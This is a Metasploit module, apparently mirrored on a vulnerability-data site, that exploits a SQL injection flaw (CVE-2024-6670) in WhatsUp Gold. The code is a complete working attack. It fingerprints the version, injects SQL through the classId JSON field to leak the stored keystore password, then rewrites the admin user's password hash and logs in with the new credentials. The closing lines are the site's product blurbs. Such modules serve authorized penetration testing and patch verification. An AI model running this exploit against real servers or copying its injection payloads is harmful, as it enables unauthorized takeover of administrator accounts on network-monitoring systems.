class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
'Description' => %q{
This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account)
to an attacker-controlled one.
WhatsUp Gold versions < v24.0.0 are affected.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)' # Discovery & PoC
],
'References' => [
['CVE', '2024-6670'],
['URL', 'https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024'],
['URL', 'https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-1185/']
],
'DisclosureDate' => '2024-08-29',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username of which to update the password (default: admin)', 'admin']),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json')
})
return Exploit::CheckCode::Unknown('No response or unexpected HTTP status') unless res && res.code == 200
data = res.get_json_document
data_js = data['js']
version_path = data_js.find { |item| item['path'] =~ /app-/ }['path']
version = version_path[/app-(.*)\.js/, 1]
if version.nil?
return Exploit::CheckCode::Unknown('Could not determine WhatsUp Gold version')
else
vprint_status('Version retrieved: ' + version)
end
return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('23.1.3')
Exploit::CheckCode::Safe("WhatsUp Gold version #{version} is not vulnerable")
end
def run
body = {
KeyStorePassword: datastore['NEW_PASSWORD'],
TrustStorePassword: datastore['NEW_PASSWORD']
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/WugSystemAppSettings/JMXSecurity'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 500
fail_with(Failure::UnexpectedReply, 'Unexpected server HTTP status code received.')
end
marker = Rex::Text.rand_text_alpha(10)
deviceid = Rex::Text.rand_text_numeric(5)
body = {
deviceId: deviceid.to_s,
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
range: rand(1..9).to_s,
n: rand(1..9).to_s,
start: rand(1..9).to_s,
end: rand(1..9).to_s
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.body == 'false'
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/Filter/AlertCenterItemsReportThresholds')
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
end
json_body = res.get_json_document
result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) }
unless result
fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.')
end
display_name = result['DisplayName'].to_s
display_name_f = display_name.sub(marker.to_s, '')
byte_v = display_name_f.split(',')
hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
enc_pass = '0x' + hex_v.join
vprint_status('Encrypted password: ' + enc_pass)
body = {
deviceId: deviceid.to_s,
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
range: rand(1..9).to_s,
n: rand(1..9).to_s,
start: rand(1..9).to_s,
end: rand(1..9).to_s
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.body == 'false'
fail_with(Failure::Unreachable, 'Unexpected server response received.')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NmConsole/User/LoginAjax'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['NEW_PASSWORD'],
'rememberMe' => 'false'
}
)
json = res.get_json_document
unless res && res.code == 200 && res.get_cookies.include?('ASPXAUTH') && json['authenticated'] == true
fail_with(Failure::NotVulnerable, 'Unexpected response received.')
end
store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation